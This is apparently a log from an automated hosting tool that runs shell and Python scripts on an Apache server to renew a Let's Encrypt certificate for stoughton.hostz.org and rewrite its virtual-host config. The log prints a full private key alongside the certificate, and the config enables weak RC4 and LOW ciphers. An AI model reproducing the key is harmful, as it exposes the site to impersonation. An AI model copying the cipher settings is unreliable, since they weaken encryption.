L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-11 06:00:48: Establishing a connection
2025-12-11 06:00:49: Establishing a connection
2025-12-11 06:00:50: 

PUT: /tmp/pkp780367

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-11 06:00:51: 

chmod 755 /tmp/pkp780367; /tmp/pkp780367; rm /tmp/pkp780367

2025-12-11 06:00:51: 


0


2025-12-12 06:00:01: Establishing a connection
2025-12-12 06:00:03: Establishing a connection
2025-12-12 06:00:04: 

PUT: /tmp/pkp978974

#!/bin/bash
if [ -d "/var/www/hostz_stoughton/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-12 06:00:05: 

chmod 755 /tmp/pkp978974; /tmp/pkp978974; rm /tmp/pkp978974

2025-12-12 06:00:05: 


1


2025-12-12 06:00:06: Establishing a connection
2025-12-12 06:00:07: 

PUT: /tmp/pkp392076

#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cat > LMvaaW3OVk_Ttl4H1PHAHrlVeb24VYrsjDL7GpuYztE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LMvaaW3OVk_Ttl4H1PHAHrlVeb24VYrsjDL7GpuYztE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LMvaaW3OVk_Ttl4H1PHAHrlVeb24VYrsjDL7GpuYztE


2025-12-12 06:00:08: 

chmod 755 /tmp/pkp392076; /tmp/pkp392076; rm /tmp/pkp392076

2025-12-12 06:00:08: 




2025-12-12 06:00:14: Establishing a connection
2025-12-12 06:00:15: 

PUT: /tmp/pkp664910

#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
rm LMvaaW3OVk_Ttl4H1PHAHrlVeb24VYrsjDL7GpuYztE


2025-12-12 06:00:16: 

chmod 755 /tmp/pkp664910; /tmp/pkp664910; rm /tmp/pkp664910

2025-12-12 06:00:16: 




2025-12-12 06:00:16: Establishing a connection
2025-12-12 06:00:17: 

PUT: /tmp/pkp123949

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
50:49:fa:c2:16:b0:59:ca:05:77:e1:e1:45:b9:61:97

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBf1279IbYtFZ9HO0GqLUZzurMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjEyMDUwMTQzWhcNMjYwMzEyMDUwMTQyWjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA6sYSVNVVju8U8Mtg2QoX0zmBGP9aGZILVVhrNIUVz4bxuOJu0Y4z5nCF
SRKUyftqYRr3UQfGfc4NpgM07eDrMajADs8AweyjFXAMOOLyewu5WqDJyqyAiZ1f
PM4SP6j+iQsM7xW+GS5VwOsMQ8KjT6EWKIyt+Jqq9rddbVw4AAe3bzjIKw2rWApx
MFbVoSKb5hGCTYTZY+3R5hs4+XCPhthyOLp5w0jBYHvCbdwK8bHDQkByhBTLi1BW
aY4zwqY66uQZDcNh6KhTm5db8H5wGFK7ThEn8O4Fd4JcHLGVMMUK/kcwdThRpo9x
fgVl/lOsEwMUntepHIiX4cszjpYykQIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRs5l6mgnaq9+Nc5fdTDtga2rw5/jAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3N0b3VnaHRvbi5ob3N0
ei5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy80NC5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAdgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZsRJUTOAAAE
AwBHMEUCIQDJBCOdD8j3hzWU8X4WxtL9TaA6Wf25tuhdQQDpFRxgtgIgZ9iaaIAN
Y8t3ReRkXFRxb23Dqs46B/2KDXbhGOrL4E8AfgClyXiSXVdGF4KHDdiJZgtcVWSL
fQBA8uwHaFHRiGkZ9wAAAZsRJUUGAAgAAAUAK2Iq3wQDAEcwRQIhAKvo8E4zoT5t
ZXDITcEBjsh12cLHxWRrKtdX60PCBiQ7AiAb0UXxoU7RZDVBr1cR7kJU4s9kDE5Q
2lThvUyVQiJ9+TANBgkqhkiG9w0BAQsFAAOCAQEAbOWjvzaYqJwNr5loDUOm8mvF
6vdpRSHCTOMcHKIvKq25W+1ycq3HDR7mUpgXvX9DXSRROHT2Xz1kzfrL/2eTRbjV
qiZ8saFnzGEEhQ+brmO887miKil1//ql86WvK5ksTF+6xZmrJYlrXtIXscVriNZA
IXQpkwhKVXQLm/lo4qfYTRBNmsd0qYvZGT8G2Kq6j95AY3GM7jvczDrEz4K0kY05
p2NcgUPy5mhkYDV7WCC2/0fGhc34qooowPmX2iUiQi8L+cqR4wXlO/sJzbl+ZmlO
z1yPyx74bkFGBXOOwsEZZHS6xWERdxkD+0NsQsJIAfddZxLcAgS70VOsqHWjZQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDqxhJU1VWO7xTw
y2DZChfTOYEY/1oZkgtVWGs0hRXPhvG44m7RjjPmcIVJEpTJ+2phGvdRB8Z9zg2m
AzTt4OsxqMAOzwDB7KMVcAw44vJ7C7laoMnKrICJnV88zhI/qP6JCwzvFb4ZLlXA
6wxDwqNPoRYojK34mqr2t11tXDgAB7dvOMgrDatYCnEwVtWhIpvmEYJNhNlj7dHm
Gzj5cI+G2HI4unnDSMFge8Jt3ArxscNCQHKEFMuLUFZpjjPCpjrq5BkNw2HoqFOb
l1vwfnAYUrtOESfw7gV3glwcsZUwxQr+RzB1OFGmj3F+BWX+U6wTAxSe16kciJfh
yzOOljKRAgMBAAECggEBAJJiRAXPKtS/b8AgH1fUujxCq6MJfIVbEWP6iIWrwYiv
LELKNKzGzMePOxvv0QQLli3L4Y8NmQ7SDqKHd1YnGp7RCEdzfJZt1NXGEmjZ4LUl
/0Fp5chQPKkRjdNc7fXxihuq3zqnxOrwgBmUtQX+81LwLt/Dr6nFznmcpU1N5cDl
3Rhu9iK/9ZKR6tv2KHMT8s5MgOqghivKzUok4cHyXn+3mU9p6efrPSzjcB3d6f+b
IKPiHgv8evZxA1VnM1XeIIgo1pnEp1vFjFcKzzA2q9gJiC1CNUyGru0tYrVySkbO
5L5jN19J2lkJdcq2dKjcIYKFyHp87fojolX4ZmolD5ECgYEA9v5Sd040kv5+XJsY
RABf+h8qnGogdWhKgZ1ZYzawc18ozjhqbT8tn5k9s4gsLikgbK3eOg0e2txVux6T
F50Pdz+4k3+GjpyXuuytElt9WYdM3/t+KF5jU+uBQMKNsCuWuKwTwm2C3cPOObmQ
tPIoWeT9bnpQkzuTVW3bofd/l90CgYEA81WtuNeMISxzJ/xmrhZvvIHpYKWbBweU
MjAyq+zcoyL7CBAnsfCpgyVEesg0VunG3qOnELayItvsSvmfVOyziUW1ayOnAENx
64HISWZ1GADCmJp19q2THFNcqwsfMQMX++VbG0S6Fa0EJWqndAarhbXRGxYw8OjV
23SGv9PZFEUCgYEAtJSOYHHKGGp+omA2ZolLoogk1ET3RD+isY8EKnhym3dIUzWG
Aid9yMD2DouRmZIyBaM85X5wP512BJ++9TW8d/gbj6NeEmhEusKNau1/APTd7Khn
vUX9Iv78+gcEJnhH8u7EZ5M/abndzfBw7wpZHBhCfgJpZKva9Uujl5BnNfUCgYBQ
VUTY9TAp84bA+K7dYkLZNPpbEdEwbOwb9ZWE9NmScgX2D39LW2xbA36sGlRNLTie
X+DTv7znjTthNS/I1awf8YeHK2oCyEFfwqTgtpaJqhaUUsoG+h7LBypcvXs6rw7H
9lwxkGrupQPtZlyKDXmq1u+Fxbm6juOrY7jos4PDEQKBgQCgFng8OWBorI7XYBKx
b+MBjAxS91uHtWAfnW5+x2SFQzX16q7C8OFZy+cyMnopdurWg8oG8dvAHsqYLaLb
/jD1XOSW7wSjaV3lGVrblBuDm1ZpbJKHnm2RzrpHXS01AwEMBV4aUSICLKgmkoWd
C7kMTtpvYPDSrX9jRpReKdDWaw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-12 06:00:18: 

chmod 755 /tmp/pkp123949; /tmp/pkp123949; rm /tmp/pkp123949

2025-12-12 06:00:18: 


dir=/etc/ssl/certs


2025-12-12 06:00:18: 

PUT: /tmp/pkp799843

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_stoughton_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-12 06:00:19: 

chmod 755 /tmp/pkp799843; /tmp/pkp799843; rm /tmp/pkp799843

2025-12-12 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf 42
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>






2025-12-12 06:00:19: 

PUT: /tmp/pkp886725

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_stoughton_us.conf
TARGET=/etc/apache2/sites-enabled/hostz_stoughton_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_stoughton_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_stoughton_us.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf= 1'
fi


2025-12-12 06:00:19: 

chmod 755 /tmp/pkp886725; /tmp/pkp886725; rm /tmp/pkp886725

2025-12-12 06:00:20: 




2025-12-12 06:00:20: 

PUT: /tmp/pkp248361

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-12 06:00:20: 

chmod 755 /tmp/pkp248361; /tmp/pkp248361; rm /tmp/pkp248361

2025-12-12 06:00:20: 


.


2025-12-12 06:00:20: Establishing a connection
2025-12-12 06:00:21: 

PUT: /tmp/pkp801089

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-12 06:00:22: 

chmod 755 /tmp/pkp801089; /tmp/pkp801089; rm /tmp/pkp801089

2025-12-12 06:00:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-12-12 06:00:23: 

PUT: /tmp/pkp518430

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_stoughton_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-12 06:00:23: 

chmod 755 /tmp/pkp518430; /tmp/pkp518430; rm /tmp/pkp518430

2025-12-12 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf	1887
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>







2025-12-12 06:00:23: 

PUT: /tmp/pkp441849

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-12 06:00:24: 

chmod 755 /tmp/pkp441849; /tmp/pkp441849; rm /tmp/pkp441849

2025-12-12 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5373
50:49:fa:c2:16:b0:59:ca:05:77:e1:e1:45:b9:61:97

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBf1279IbYtFZ9HO0GqLUZzurMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjEyMDUwMTQzWhcNMjYwMzEyMDUwMTQyWjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA6sYSVNVVju8U8Mtg2QoX0zmBGP9aGZILVVhrNIUVz4bxuOJu0Y4z5nCF
SRKUyftqYRr3UQfGfc4NpgM07eDrMajADs8AweyjFXAMOOLyewu5WqDJyqyAiZ1f
PM4SP6j+iQsM7xW+GS5VwOsMQ8KjT6EWKIyt+Jqq9rddbVw4AAe3bzjIKw2rWApx
MFbVoSKb5hGCTYTZY+3R5hs4+XCPhthyOLp5w0jBYHvCbdwK8bHDQkByhBTLi1BW
